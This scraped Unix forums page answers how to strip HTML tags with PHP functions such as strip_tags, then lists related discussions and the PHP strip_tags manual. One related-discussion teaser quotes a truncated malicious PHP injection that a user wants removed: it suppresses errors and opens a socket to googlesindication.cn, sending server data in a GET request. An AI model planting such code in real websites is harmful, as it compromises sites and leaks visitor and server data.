Sponsored Content
Top Forums UNIX for Beginners Questions & Answers How to remove unused html codes from the file using UNIX? Post 303037665 by Neo on Friday 9th of August 2019 05:59:54 AM
Old 08-09-2019
There are specific PHP commands which will transform HTML files and strip out certain HTML entities, for example:

Code:
<?php
echo strip_tags("Hello <b>world!</b>");
?>

See also:

Code:
strip_tags ( string $str [, string $allowable_tags ] ) : string

Reference:

PHP: strip_tags - Manual

However, you might also find joy with

Code:
htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] ) : string

... depending on your exact requirements:

PHP: htmlspecialchars - Manual

Or even:

PHP: htmlentities - Manual

Please keep in mind that "web-centric" programming languages like PHP and others have a rich set of commands built to transform and process HTML files; and most web developers, including me, use these tools to make the transformation(s) you are considering.

PHP runs "just fine" from the "UNIX" or "Linux" command line in most modern operating systems.

But, as Don mentioned, without knowing the details of your OS, we are just shooting in the dark.
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

delete the unused file

Hi All, Can you please let me know how to delete any files that have not been accessed in the past 28 days in a directory. Thanks, Arun (3 Replies)
Discussion started by: arunkumar_mca
3 Replies

2. Linux

How to remove only html tags inside a file?

Hi All, I have following example file i want to remove all html tags only, Input File: <html> <head> <title>Software Solutions Inc., </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor=white leftmargin="0" topmargin="0"... (2 Replies)
Discussion started by: btech_raju
2 Replies

3. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

4. Programming

What Unix do with unused shared memory?

Hello, When creating shared memory in C, should be remove shared memory with shmctl function when don't need it. If it didn't remove, occupied shared memory stay and remain. If we create shared memory repeatedly without removing unusable shared memory, /dev/shm will full. Does Unix or... (1 Reply)
Discussion started by: pronetin
1 Replies

5. Shell Programming and Scripting

Remove external urls from .html file

Hi everyone. I have an html file with lines like so: link href="localFolder/..."> link href="htp://..."> img src="localFolder/..."> img src="htp://..."> I want to remove the links with http in the href and imgs with http in its src. I'm having trouble removing them because there... (4 Replies)
Discussion started by: CowCow339
4 Replies

6. UNIX for Advanced & Expert Users

Help to get file from windows to Unix via HTML

Dear, I have a requirement as below: I need an exe or bat file to facilitate multiple end users to upload their files (csv or xls) from windows environment to Unix server. Any front end like html would also be fine, I can develop a simple HTML script with browse button but not sure on... (4 Replies)
Discussion started by: Imran_Chennai
4 Replies

7. Shell Programming and Scripting

Removal of HTML ASCII Codes from file

Hi all, I have a file with extended ASCII codes in the description which needs to be removed. List of extended ascii codes "Œ", "œ", "Š", "š", "Ÿ", "ƒ", "-", "-", "‘", "'", "‚", "“", "”", "„","†", "‡", "•", "...", "‰", "€", "™" Sample data: Test Details-HAVE BEEN PUBLISHED... (1 Reply)
Discussion started by: btt3165
1 Replies

8. Shell Programming and Scripting

UNIX Env values in HTML file

Hi, I am sending 'mailx' one file.html from unix, and i want to put the field values from the unix environment.. like. <p><input type="text" name="name" value="Your name" /></p> in thin i want to put value "Your name" as let's say $HOME, can this be possible? If yes..can anyone please... (1 Reply)
Discussion started by: jaiankur
1 Replies

9. Shell Programming and Scripting

HTML Codes for Shell Programs

Hi All, I need to use my script via html web page, already webserv running in my unix box... Please provide me the sample html files or any web site Thanks (2 Replies)
Discussion started by: l_gshankar24
2 Replies

10. Shell Programming and Scripting

How to remove multiline HTML tags from a file?

I am trying to remove a multiline HTML tag and its contents from a few HTML files following the same basic pattern. So far using regex and sed have been unsuccessful. The HTML has a basic structure like this (with the normal HTML stuff around it): <div id="div1"> <div class="div2"> <other... (4 Replies)
Discussion started by: threesixtyfive
4 Replies
STRIP_TAGS(3)								 1							     STRIP_TAGS(3)

strip_tags - Strip HTML and PHP tags from a string

SYNOPSIS
string strip_tags (string $str, [string $allowable_tags]) DESCRIPTION
This function tries to return a string with all NULL bytes, HTML and PHP tags stripped from a given $str. It uses the same tag stripping state machine as the fgetss(3) function. PARAMETERS
o $str - The input string. o $allowable_tags - You can use the optional second parameter to specify tags which should not be stripped. Note HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with $allowable_tags. Note This parameter should not contain whitespace. strip_tags(3) sees a tag as a case-insensitive string between < and the first whitespace or >. Note In PHP 5.3.4 and later, you will also need to include the self-closing XHTML tag to strip these from $str. For example, to strip both <br> and <br/>, you should use: <?php strip_tags($input, '<br><br/>'); ?> RETURN VALUES
Returns the stripped string. CHANGELOG
+--------+---------------------------------------------------+ |Version | | | | | | | Description | | | | +--------+---------------------------------------------------+ | 5.3.4 | | | | | | | strip_tags(3) no longer strips self-closing XHTML | | | tags unless the self-closing XHTML tag is also | | | given in $allowable_tags. | | | | | 5.0.0 | | | | | | | strip_tags(3) is now binary safe. | | | | +--------+---------------------------------------------------+ EXAMPLES
Example #1 strip_tags(3) example <?php $text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>'; echo strip_tags($text); echo " "; // Allow <p> and <a> echo strip_tags($text, '<p><a>'); ?> The above example will output: Test paragraph. Other text <p>Test paragraph.</p> <a href="#fragment">Other text</a> NOTES
Warning Because strip_tags(3) does not actually validate the HTML, partial or broken tags can result in the removal of more text/data than expected. Warning This function does not modify any attributes on the tags that you allow using $allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users. Note Tag names within the input HTML that are greater than 1023 bytes in length will be treated as though they are invalid, regardless of the $allowable_tags parameter. SEE ALSO
htmlspecialchars(3). PHP Documentation Group STRIP_TAGS(3)
All times are GMT -4. The time now is 12:54 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy